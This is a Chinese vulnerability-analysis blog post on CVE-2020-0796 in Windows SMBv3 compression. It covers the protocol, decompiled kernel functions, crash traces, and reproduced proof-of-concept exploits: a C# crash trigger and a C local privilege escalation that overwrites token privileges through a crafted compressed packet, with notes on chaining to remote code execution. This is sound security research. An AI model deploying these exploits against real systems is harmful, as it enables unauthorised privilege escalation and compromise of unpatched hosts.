最近看了一些關於SMB的分析文章,準備總結一下,主要介紹SMB協議在前段時間出的CVE-2020-0796相關漏洞。下面簡單介紹一下SMB的相關知識。
SMB協議參考官方文檔給的說明,大致作用如下,SMB版本1.0協議實現必須實現CIFS協議,而CIFS再往下就可以由TCP實現,大部分功能是文件系統的功能,埠在445埠,具體內容可以參考文檔協議示例部分
客戶端系統使用通用網絡文件系統(CIFS)協議通過網絡從伺服器系統請求文件和列印服務。SMB則是對此協議的擴展,提供了附加的安全性,文件和磁碟管理支持。這些擴展不會改變CIFS協議的基本消息順序,但會引入新的標誌,擴展的請求和響應以及新的信息級別。
之前爆出的SMB漏洞主要是在SMB2之後的版本,SMB協議版本2和3,它們支持在機器之間共享文件和列印資源,並擴展了SMB1。Windows上對應的模塊是 srv2.sys
SMB2數據包格式與SMB1完全不同。其所有功能參考官方文檔裡面 1.3 Overview 部分,連接順序大致如下
CVE-2020-0796前置知識這個漏洞出在SMB2的壓縮功能,要使用這個功能首先需要建立基本連接,要建立基本連接首先需要知道這個包是怎麼構造出來的,在協議2.1部分說明了包頭是如何組成的,協議支持幾種傳輸方式,這裡直接按照包格式選用Direct TCP頭即可
其中第三個欄位是SMB2Message,也就是SMB2的消息,這個消息也有一個頭結構,在文檔[MS-SMB2]的2.2.1部分可以找到,分為同步和異步兩種頭,拿異步頭結構來舉例,結構如下
欄位長度如下所示,各個欄位的意義有點多這裡就不貼出來了,可以參考官方文檔,非常詳細
ProtocolId (4 bytes)
StructureSize (2 bytes)
CreditCharge (2 bytes)
(ChannelSequence/Reserved)/Status (4 bytes)
ChannelSequence (2 bytes)
Reserved (2 bytes)
Status (4 bytes)
Command (2 bytes)
CreditRequest/CreditResons (2 bytes)
Flags (4 bytes)
NextCommand (4 bytes)
MessageId (8 bytes)
AsyncId (8 bytes)
SessionId (8 bytes)
Signature (16 bytes)
有了上面的基礎,構造這個SMB2協議包就很簡單了,包層次結構如下
Direct TCP header -> SMB2 header -> SMB data
下面需要解決連接順序,官方文檔中可以知道,這個協議初始化階段有幾種類型的包,如下圖,圖自這裡
圖中的包在文檔裡都有對應的結構,感興趣的朋友可以對應文檔看看。
漏洞分析前面提到過這個漏洞存在於srv2.sys的壓縮功能,涉及到的包結構如下,對應文檔2.2.42 SMB2 COMPRESSION_TRANSFORM_HEADER,結合壓縮包這個名字,來看理解一下各個欄位的含義,第一個欄位ProtocolId固定不變,第二個欄位指定原始未壓縮數據大小,也就是這塊數據有壓縮的也有不壓縮的,這裡是指定不壓縮的大小,第三個欄位指定壓縮算法,第四個為一個標誌,不同的標誌影響第五個參數的意義,第五個參數這裡只用到offset的意義,表示數據包中壓縮數據相對於當前結構的偏移。
借用看雪論壇一位師傅畫的圖片,非常清晰,結構如下
下面看一下漏洞函數,涉及的函數是Srv2DecompressData,根據名字可以猜測到,此函數負責解壓上面結構的數據,其中會調用到SmbCompressionDecompress函數負責解壓數據,而在這之前會調用SrvNetAllocateBuffer函數負責申請內存,然而這個函數的參數並沒有檢查是否溢出,這個函數的參數剛好是original size + Offset的大小,完全由用戶控制,溢出就會申請很小的內存,然而實際後面解壓操作的內存比申請的大很多,導致了漏洞的產生。
__int64 __fastcall Srv2DecompressData(__int64 a1)
{
__int64 v2; // rax
__m128i v3; // xmm0
unsigned int Algorithm; // ebp
__int64 v7; // rbx MAPDST
int v8; // eax
__m128i Size; // [rsp+30h] [rbp-28h]
int v10; // [rsp+60h] [rbp+8h] BYREF
v10 = 0;
v2 = *(_QWORD *)(a1 + 240);
if ( *(_DWORD *)(v2 + 36) < 0x10u )
return 0xC000090Bi64;
Size = *(__m128i *)*(_QWORD *)(v2 + 24);
v3 = _mm_srli_si128(Size, 8); // 4 bytes + 4 bytes
// offset + compression algorithm
Algorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64);
if ( Algorithm != v3.m128i_u16[0] )
return 0xC00000BBi64;
v7 = SrvNetAllocateBuffer((unsigned int)(Size.m128i_i32[1] + v3.m128i_i32[1]), 0i64);// original size + Offset
if ( !v7 )
return 0xC000009Ai64;
if ( (int)SmbCompressionDecompress(
Algorithm,
*(_QWORD *)(*(_QWORD *)(a1 + 240) + 24i64) + Size.m128i_u32[3] + 0x10i64,
(unsigned int)(*(_DWORD *)(*(_QWORD *)(a1 + 240) + 36i64) - Size.m128i_i32[3] - 0x10),
Size.m128i_u32[3] + *(_QWORD *)(v7 + 0x18),
Size.m128i_i32[1],
&v10) < 0
|| (v8 = v10, v10 != Size.m128i_i32[1]) )
{
SrvNetFreeBuffer(v7);
return 0xC000090Bi64;
}
if ( Size.m128i_i32[3] )
{
memmove(
*(void **)(v7 + 0x18),
(const void *)(*(_QWORD *)(*(_QWORD *)(a1 + 240) + 24i64) + 0x10i64),
Size.m128i_u32[3]); // Offset
v8 = v10;
}
*(_DWORD *)(v7 + 36) = Size.m128i_i32[3] + v8;
Srv2ReplaceReceiveBuffer(a1, v7);
return 0i64;
}
有幾種方式構造,Python最為方便,我測試的時候C#、C、Python都試過,其中C#最為複雜,不過也最為官方,使用的是微軟提供的一套協議測試框架,不過zecops已經有人寫好了,在這裡可以找到,其模板參考synacktiv之前發的文章,改動了大致下面幾個文件和內容,需要注意的是,在編譯的時候需要安裝指定.NET版本並提前編譯好一些模塊,然後導入才可以正常編譯後續的exe
Smb2CompressedPacketed.cs // 修改包類型
Smb2ClientTransport.cs // 修改指定壓縮算法
Smb2Compression.cs // 修改壓縮函數實現觸發
Smb2CompressionForChained.cs // 刪除此文件指定第五欄位為offset
下面是synacktiv發出來的部分代碼,直接寫在了Smb2Compression.cs裡面
// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs
namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common
{
/// <summary>
/// SMB2 Compression Utility.
/// </summary>
public static class Smb2Compression
{
private static uint i = 0;
/// <summary>
/// Compress SMB2 packet.
/// </summary>
/// <param name="packet">The SMB2 packet.</param>
/// <param name="compressionInfo">Compression info.</param>
/// <param name="role">SMB2 role.</param>
/// <param name="offset">The offset where compression start, default zero.</param>
/// <returns></returns>
public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0)
{
var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role);
/*if (compressionAlgorithm == CompressionAlgorithm.NONE)
{
return packet;
}*/
// HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login)
if (i < 3)
{
i++;
return packet;
}
var packetBytes = packet.ToBytes();
var compressor = GetCompressor(compressionAlgorithm);
// HACK: Insane length to trigger the integrer overflow
offset = 0xffffffff;
var compressedPacket = new Smb2CompressedPacket();
compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader;
compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length;
compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm;
compressedPacket.Header.Reserved = 0;
compressedPacket.Header.Offset = offset;
compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray();
compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray());
var compressedPackectBytes = compressedPacket.ToBytes();
// HACK: force compressed packet to be sent
return compressedPacket;
// Check whether compression shrinks the on-wire packet size
// if (compressedPackectBytes.Length < packetBytes.Length)
// {
// compressedPacket.OriginalPacket = packet;
// return compressedPacket;
// }
// else
// {
// return packet;
// }
}
}
}
namespace Microsoft.Protocols.TestManager.BranchCachePlugin
{
class Program
{
static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info)
{
Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds));
client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 };
// NEGOTIATION is done in "plaintext", this is the call within UserLogon:
// client.Negotiate(
// 0,
// 1,
// Packet_Header_Flags_Values.NONE,
// messageId++,
// new DialectRevision[] { DialectRevision.Smb311 },
// SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED,
// Capabilities_Values.NONE,
// clientGuid,
// out selectedDialect,
// out gssToken,
// out header,
// out negotiateResp,
// preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 }, // apprently mandatory for compression
// compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }
// );
if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp))
return;
// From now on, we compress every new packet
client.CompressionInfo.CompressAllPackets = true;
// Get tree information about a remote share (which does not exists)
TREE_CONNECT_Response treeConnectResp;
string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare);
// trigger crash here
client.TreeConnect(
1,
1,
Packet_Header_Flags_Values.FLAGS_SIGNED,
messageId++,
sessionId,
uncSharePath,
out treeId,
out header,
out treeConnectResp
);
}
static void Main(string[] args)
{
Console.WriteLine("Hello World!");
Logger logger = new Logger();
AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost");
BranchCacheDetector bcd = new BranchCacheDetector(
logger,
"DESKTOP-SMBVULN",
"DESKTOP-SMBVULN",
accountCredential
);
DetectionInfo info = new DetectionInfo();
info.SelectedTransport = "SMB2";
info.ContentServerName = "DESKTOP-SMBVULN";
info.UserName = "Ghost";
info.Password = "Ghost";
TriggerCrash(bcd,info);
Console.WriteLine("Goodbye World!");
}
}
}
我測試的時候是單獨寫了一個exe調用這些函數,感興趣的朋友可以試一試,不過確實改起來比較麻煩,而且利用起來較為麻煩
// Microsoft.Protocols.TestTools.StackSdk.FileAccessService.dll
// Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.dll
// Microsoft.Protocols.TestTools.StackSdk.Security.SspiLib.dll
using System;
using Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2;
using Microsoft.Protocols.TestTools.StackSdk.Security.SspiLib;
namespace SMBTest
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("[+] CVE-2020-0796 POC");
var server = "127.0.0.1";
if (args.Length >= 1)
{
server = args[0];
}
Console.WriteLine("[+] Target server: " + server);
Smb2ClientTransport Client = new Smb2ClientTransport();
var timeout = new TimeSpan(0, 0, 60);
Console.WriteLine("[+] Trigger ...");
Client.Connect(
server, // [in] string server
"", // [in] string client
"", // [in] string domain
"Thunder_J", // [in] string userName
"password", // [in] string password
timeout, // [in] TimeSpan timeout
SecurityPackageType.Ntlm, // [in] SecurityPackageType securityPackage
true // [in] bool useServerToken
);
}
}
}
測試結果如下,1903未打此補丁的版本可以觸發
調用棧如下,最終是在nt!RtlDecompressBufferXpressLz+0x50解壓縮算法中出錯
0: kd> k
# Child-SP RetAddr Call Site
00 fffffb85`170821b8 fffff801`49b49492 nt!DbgBreakPointWithStatus
01 fffffb85`170821c0 fffff801`49b48b82 nt!KiBugCheckDebugBreak+0x12
02 fffffb85`17082220 fffff801`49a5f917 nt!KeBugCheck2+0x952
03 fffffb85`17082920 fffff801`49aa3b0a nt!KeBugCheckEx+0x107
04 fffffb85`17082960 fffff801`4996c1df nt!MiSystemFault+0x18fafa
05 fffffb85`17082a60 fffff801`49a6d69a nt!MmAccessFault+0x34f
06 fffffb85`17082c00 fffff801`499fc750 nt!KiPageFault+0x35a
07 fffffb85`17082d98 fffff801`4990a666 nt!RtlDecompressBufferXpressLz+0x50
08 fffffb85`17082db0 fffff801`4dcae0bd nt!RtlDecompressBufferEx2+0x66
09 fffffb85`17082e00 fffff801`484d7f41 srvnet!SmbCompressionDecompress+0xdd
0a fffffb85`17082e70 fffff801`484d699e srv2!Srv2DecompressData+0xe1
0b fffffb85`17082ed0 fffff801`48519a7f srv2!Srv2DecompressMessageAsync+0x1e
0c fffffb85`17082f00 fffff801`49a6304e srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
0d fffffb85`17082f80 fffff801`49a6300c nt!KxSwitchKernelStackCallout+0x2e
0e fffffb85`16df78f0 fffff801`4996345e nt!KiSwitchKernelStackContinue
0f fffffb85`16df7910 fffff801`4996325c nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e
10 fffffb85`16df79b0 fffff801`499630d3 nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc
11 fffffb85`16df7a20 fffff801`4996308d nt!KeExpandKernelStackAndCalloutInternal+0x33
12 fffffb85`16df7a90 fffff801`485197d7 nt!KeExpandKernelStackAndCalloutEx+0x1d
13 fffffb85`16df7ad0 fffff801`49fb34a7 srv2!RfspThreadPoolNodeWorkerRun+0x117
14 fffffb85`16df7b30 fffff801`499d3925 nt!IopThreadStart+0x37
15 fffffb85`16df7b90 fffff801`49a66d5a nt!PspSystemThreadStartup+0x55
16 fffffb85`16df7be0 00000000`00000000 nt!KiStartSystemThread+0x2a
下面介紹一下C版本的利用代碼,出自@danigargu and @dialluvioso_兩位師傅,順便解析一下本地提權的原理,這位師傅的代碼還是寫的很明白,不過這個代碼實際上並沒有完全實現初始化部分,send_negotiation協商包發送之後直接就開始發送壓縮數據,所以初始化部分實際上只需要協商一次SMB2 NEGOTIATE包即可進行壓縮操作。
int main(int argc, char* argv[]) {
WORD wVersionRequested = MAKEWORD(2, 2);
WSADATA wsaData = { 0 };
SOCKET sock = INVALID_SOCKET;
uint64_t ktoken = 0;
int err = 0;
printf("-= CVE-2020-0796 LPE =-\n");
printf("by @danigargu and @dialluvioso_\n\n");
if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {
printf("WSAStartup() failed with error: %d\n", err);
return EXIT_FAILURE;
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
printf("Couldn't find a usable version of Winsock.dll\n");
WSACleanup();
return EXIT_FAILURE;
}
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
printf("socket() failed with error: %d\n", WSAGetLastError());
WSACleanup();
return EXIT_FAILURE;
}
sockaddr_in client;
client.sin_family = AF_INET;
client.sin_port = htons(445);
InetPton(AF_INET, "127.0.0.1", &client.sin_addr);
if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) {
return error_exit(sock, "connect()");
}
printf("Successfully connected socket descriptor: %d\n", (int)sock);
printf("Sending SMB negotiation request...\n");
if (send_negotiation(sock) == SOCKET_ERROR) {
printf("Couldn't finish SMB negotiation\n");
return error_exit(sock, "send()");
}
printf("Finished SMB negotiation\n");
ULONG buffer_size = 0x1110;
UCHAR *buffer = (UCHAR *)malloc(buffer_size);
if (buffer == NULL) {
printf("Couldn't allocate memory with malloc()\n");
return error_exit(sock, NULL);
}
ktoken = get_process_token();
if (ktoken == -1) {
printf("Couldn't leak ktoken of current process...\n");
return EXIT_FAILURE;
}
printf("Found kernel token at %#llx\n", ktoken);
memset(buffer, 'A', 0x1108);
*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */
ULONG CompressBufferWorkSpaceSize = 0;
ULONG CompressFragmentWorkSpaceSize = 0;
err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS,
&CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);
if (err != STATUS_SUCCESS) {
printf("RtlGetCompressionWorkSpaceSize() failed with error: %d\n", err);
return error_exit(sock, NULL);
}
ULONG FinalCompressedSize;
UCHAR compressed_buffer[64];
LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);
if (lpWorkSpace == NULL) {
printf("Couldn't allocate memory with malloc()\n");
return error_exit(sock, NULL);
}
err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,
compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);
if (err != STATUS_SUCCESS) {
printf("RtlCompressBuffer() failed with error: %#x\n", err);
free(lpWorkSpace);
return error_exit(sock, NULL);
}
printf("Sending compressed buffer...\n");
if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {
return error_exit(sock, "send()");
}
printf("SEP_TOKEN_PRIVILEGES changed\n");
inject();
WSACleanup();
return EXIT_SUCCESS;
}
壓縮函數實現如下,C的實現相比之前的要簡單很多,直接編譯運行是可以本地彈出一個計算器,不過首先需要介紹一下怎麼利用
int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {
int err = 0;
char response[8] = { 0 };
const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,
/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};
uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);
if (packet == NULL) {
printf("Couldn't allocate memory with malloc()\n");
return error_exit(sock, NULL);
}
memcpy(packet, buf, sizeof(buf));
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
memcpy(packet + sizeof(buf) + 0x10, buffer, len);
if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {
recv(sock, response, sizeof(response), 0);
}
free(packet);
return err;
}
利用需要很了解內存布局,所以需要深入研究SrvNetAllocateBuffer函數,如下所示
__int64 __fastcall SrvNetAllocateBuffer(unsigned __int64 Size, __int64 a2)
{
v2 = HIDWORD(KeGetPcr()[1].LockArray);
v3 = 0;
v5 = 0;
if ( SrvDisableNetBufferLookAsideList || Size > 0x100100 )
{
if ( Size > 0x1000100 )
return 0i64;
v11 = SrvNetAllocateBufferFromPool(Size, Size);
}
else
{
if ( Size > 0x1100 )
{
v13 = Size - 0x100;
_BitScanReverse64((unsigned __int64 *)&v14, v13);
_BitScanForward64(&v15, v13);
if ( (_DWORD)v14 == (_DWORD)v15 )
v3 = v14 - 12;
else
v3 = v14 - 11;
}
v6 = SrvNetBufferLookasides[v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
v7 = (unsigned __int16)v2 + 1;
v8 = v7;
v9 = *(_QWORD *)(v6 + 32);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 112) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 20);
v11 = (__int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
if ( !v11 )
{
++*(_DWORD *)(v10 + 24);
v11 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, __int64))(v10 + 48))(// srvnet!PplGenericAllocateFunction
*(unsigned int *)(v10 + 36),
*(unsigned int *)(v10 + 44),
*(unsigned int *)(v10 + 40),
v10);
}
v5 = 2;
}
if ( !v11 )
return v11;
*(_WORD *)(v11 + 16) |= v5;
*(_WORD *)(v11 + 18) = v3;
*(_WORD *)(v11 + 20) = v2;
if ( a2 )
{
v16 = *(_DWORD *)(a2 + 36);
if ( v16 >= *(_DWORD *)(v11 + 32) )
v16 = *(_DWORD *)(v11 + 32);
v17 = *(void **)(v11 + 24);
*(_DWORD *)(v11 + 36) = v16;
memmove(v17, *(const void **)(a2 + 24), v16);
v18 = *(_WORD *)(a2 + 22);
if ( v18 )
{
*(_WORD *)(v11 + 22) = v18;
memmove((void *)(v11 + 100), (const void *)(a2 + 100), 16i64 * *(unsigned __int16 *)(a2 + 22));
}
}
else
{
*(_DWORD *)(v11 + 36) = 0;
}
return v11;
}
可以看到,進來就會判斷Size參數的大小,如果小於0x1100則會走下面的路徑,最終申請0x1278大小的內存
srvnet!SrvNetAllocateBuffer
-> srvnet!PplGenericAllocateFunction
-> srvnet!SrvNetBufferLookasideAllocate
-> srvnet!SrvNetAllocateBufferFromPool
-> ExAllocatePoolWithTag
內存也會在SrvNetAllocateBufferFromPool函數裡面初始化,下面是初始化的部分,注釋基於之前的參數小於0x1100
unsigned __int64 __fastcall SrvNetAllocateBufferFromPool(__int64 a1, unsigned __int64 a2)
{
unsigned int v2; // esi
unsigned __int64 v3; // rdi
SIZE_T v4; // rax
unsigned __int64 v5; // rbp
__int64 v6; // rax
SIZE_T Size; // rbx
char *alloc_ptr; // rdx
signed __int32 v9; // ecx
int v10; // eax
unsigned __int64 v11; // r9
unsigned __int64 v12; // rdi
unsigned __int64 v13; // r8
int v14; // edx
__int64 v15; // r9
unsigned __int64 v16; // rdx
__int64 v17; // r8
unsigned __int64 result; // rax
v2 = a2;
if ( a2 > 0xFFFFFFFF )
return 0i64;
if ( (unsigned __int64)(unsigned int)a2 + 88 < (unsigned __int64)(unsigned int)a2 + 80 )
return 0i64;
v3 = (unsigned int)a2 + 232i64;
if ( v3 < (unsigned __int64)(unsigned int)a2 + 88 )
return 0i64;
v4 = MmSizeOfMdl(0i64, (unsigned int)a2 + 232i64);
v5 = v4 + 8;
if ( v4 + 8 < v4 )
return 0i64;
v6 = 2 * v5;
if ( !is_mul_ok(v5, 2ui64) )
return 0i64;
Size = v6 + v3;
if ( v6 + v3 < v3 )
return 0i64;
if ( Size < 0x1000 )
{
Size = 0x1000i64;
}
else if ( Size > 0xFFFFFFFF )
{
return 0i64;
}
alloc_ptr = (char *)ExAllocatePoolWithTag((POOL_TYPE)0x200, Size, '00SL');// 0x1278
if ( !alloc_ptr )
{
_InterlockedIncrement((volatile signed __int32 *)&WPP_MAIN_CB.Dpc.SystemArgument2);
return 0i64;
}
v9 = Size + _InterlockedExchangeAdd((_DWORD *)&WPP_MAIN_CB.Dpc.SystemArgument1 + 1, Size);
if ( (int)Size > 0 )
{
do
v10 = HIDWORD(WPP_MAIN_CB.Dpc.SystemArgument2);
while ( v9 > SHIDWORD(WPP_MAIN_CB.Dpc.SystemArgument2)
&& v10 != _InterlockedCompareExchange(
(_DWORD *)&WPP_MAIN_CB.Dpc.SystemArgument2 + 1,
v9,
SHIDWORD(WPP_MAIN_CB.Dpc.SystemArgument2)) );
}
v11 = (unsigned __int64)(alloc_ptr + 0x50);
v12 = (unsigned __int64)&alloc_ptr[v2 + 87] & 0xFFFFFFFFFFFFFFF8ui64;// 申請的內存(0x1278大小)偏移0x1150處返回
// if (size < 0x1100)
// v12 == v8 + 0x1150
*(_QWORD *)(v12 + 0x30) = alloc_ptr;
*(_QWORD *)(v12 + 0x50) = (v12 + v5 + 0x97) & 0xFFFFFFFFFFFFFFF8ui64;
v13 = (v12 + 0x97) & 0xFFFFFFFFFFFFFFF8ui64;
*(_QWORD *)(v12 + 0x18) = alloc_ptr + 0x50;
*(_QWORD *)(v12 + 0x38) = v13;
*(_WORD *)(v12 + 0x10) = 0;
*(_WORD *)(v12 + 0x16) = 0;
*(_DWORD *)(v12 + 0x20) = v2; // Size
*(_DWORD *)(v12 + 0x24) = 0;
v14 = ((_WORD)alloc_ptr + 0x50) & 0xFFF;
*(_DWORD *)(v12 + 0x28) = Size; // 0x1278
*(_DWORD *)(v12 + 0x40) = 0;
*(_QWORD *)(v12 + 0x48) = 0i64;
*(_QWORD *)(v12 + 0x58) = 0i64;
*(_DWORD *)(v12 + 0x60) = 0;
*(_QWORD *)v13 = 0i64;
*(_WORD *)(v13 + 8) = 8 * ((((unsigned __int16)v14 + (unsigned __int64)v2 + 0xFFF) >> 12) + 6);
*(_WORD *)(v13 + 0xA) = 0;
*(_QWORD *)(v13 + 0x20) = v11 & 0xFFFFFFFFFFFFF000ui64;
*(_DWORD *)(v13 + 0x2C) = v14;
*(_DWORD *)(v13 + 0x28) = v2;
MmBuildMdlForNonPagedPool(*(PMDL *)(v12 + 56));
MmMdlPageContentsState(*(_QWORD *)(v12 + 56), 1i64);
*(_WORD *)(*(_QWORD *)(v12 + 56) + 10i64) |= 0x1000u;
v15 = *(_QWORD *)(v12 + 0x50);
v16 = *(_QWORD *)(v12 + 0x18) & 0xFFFFFFFFFFFFF000ui64;
v17 = *(_QWORD *)(v12 + 0x18) & 0xFFFi64;
result = v12;
*(_QWORD *)v15 = 0i64;
*(_WORD *)(v15 + 8) = 8 * (((v17 + (unsigned __int64)v2 + 0xFFF) >> 12) + 6);
*(_WORD *)(v15 + 0xA) = 0;
*(_QWORD *)(v15 + 0x20) = v16;
*(_DWORD *)(v15 + 0x2C) = v17;
*(_DWORD *)(v15 + 0x28) = v2;
*(_WORD *)(*(_QWORD *)(v12 + 80) + 10i64) |= 4u;
return result;
}
由於懶得自己畫結構圖,下面就又參考一個畫的非常好的圖片,圖片來自這裡,可以看到SrvNetAllocateBuffer函數返回的結構+0x18偏移指向User Buffer,這個緩衝區就用於存放解壓之後的數據,其大小就是我們可控的溢出大小
下圖左邊則是我們構造的壓縮包,右邊則是實際申請的內存布局,Raw Data是不需要壓縮的數據,Compressed Data是需要壓縮的數據,後面SmbCompressionDecompress函數就主要負責解壓我們傳入的數據Compressed Data,返回解壓之後的數據到右圖Decompressed Data處,正常情況下是沒有溢出的
調試結果如下,下面為 SrvNetAllocateBuffer 函數的返回值,該地址偏移0x18處的地址至該地址的距離正好為 0xffffb31b2d5dd150 - 0xffffb31b2d5dc050 = 0x1100
2: kd> dd ffffb31b2d5dc050 + 1100
ffffb31b`2d5dd150 00000000 00000000 00001000 0077006f
ffffb31b`2d5dd160 00000000 00000002 (2d5dc050 ffffb31b) -> +0x18
但由於整數溢出,User Buffer空間變小,不足以容納預期的大小,就會導致溢出
利用溢出就需要知道這個地方是如何拷貝的,就需要深入研究SmbCompressionDecompress解壓縮函數的實現,下面是調用鏈
srv2!Srv2DecompressData
-> srvnet!SmbCompressionDecompress
-> nt!RtlDecompressBufferEx2
-> nt!RtlDecompressBufferXpressLz
-> qmemcpy
在解壓時覆蓋後面 Srvnet Buffer Header 結構體中的User Buffer指針,也就是前面提過的0x18偏移處的指針,這就會導致將Raw Data的數據拷貝到我們指定的地方,那也就是任意寫,本地提權任意寫的話直接寫SEP_TOKEN_PRIVILEGES就行,作者也是這個想法,之後的操作就是提權的常規操作了,也沒什麼好介紹的了
// SEP_TOKEN_PRIVILEGES
*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */
// Raw Data
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
對於0796想要遠程利用,就得有一個信息洩露的洞,仔細回想前面這個0796,你會發現可控的東西實在是太多了,這也就衍生出了CVE-2020-1206,實際上原理非常簡單,還是一個地方,我們將offset設置為0,OriginalSize設置為一個比較大的值,那也就可以越界讀到後面的數據,比如下圖,如果能設置為1的話實際就解壓出1位元組的數據,後面緊跟著一堆洩露的東西,這樣就可以洩露出內核信息,配合之前的任意寫,就可以實現RCE,當然沒有說的那麼簡單,感興趣的朋友可以參考這裡
總結前面主要總結的是0796這個洞的學習過程,有很多寫的很好的文章,我都放在前面超連結裡面了,SMB的攻擊面還是比較清晰的,前段時間k0shl師傅在SMB裡面也找到了一個信息洩露的洞,簡單看了一下patch是一個UAF,涉及到SMB2 SET_INFO消息,k0哥也在博客裡面分析了,下面是patch前代碼
signed __int64 __fastcall Smb2UpdateLeaseFileName(__int64 a1, _WORD *a2, unsigned int a3)
{
[...]
v12 = (unsigned __int16)v4 + 2 * v11; // <- get completely file name([filename]:[leasename]) length
[...]
if ( v12 > *(unsigned __int16 *)(v6 + 0x18A) )// <- if file name is longer than old
{
v13 = ExAllocatePoolWithTag((POOL_TYPE)0x200, v12, 0x6C32534Cu); // <- allocate a new buffer
if ( !v13 )
{
v3 = -1073741670;
goto LABEL_16;
}
if ( *(_BYTE *)(v6 + 114) ) // <-- [1]
ExFreePoolWithTag(*(PVOID *)(v6 + 400), 0);// <- free old buffer
if ( v11 )
memmove(v13, *(const void **)(v6 + 400), 2i64 * v11); // <-- copy free buffer,trigger use after free.
*(_WORD *)(v6 + 394) = v12;
*(_QWORD *)(v6 + 400) = v13;
*(_BYTE *)(v6 + 114) = 1; // <-- [2]
}
memmove((void *)(*(_QWORD *)(v6 + 400) + 2i64 * v11), v5, (unsigned __int16)v4);// <-- copy new lease name
[...]
}
下面是patch之後代碼,我就不過多分析了,感興趣的朋友可以自行研究構造
signed __int64 __fastcall Smb2UpdateLeaseFileName(__int64 a1, _WORD *a2, unsigned int a3)
{
[...]
if ( v12 )
memmove(v15, *(const void **)(v6 + 0x190), 2i64 * v12);
if ( *(_BYTE *)(v6 + 0x72) )
ExFreePoolWithTag(*(PVOID *)(v6 + 0x190), 0);
[...]
}
原文來自: 先知社區
原文連結: https://xz.aliyun.com/t/9029
歡迎掃描關注我們,及時了解最新安全動態、學習最潮流的安全姿勢!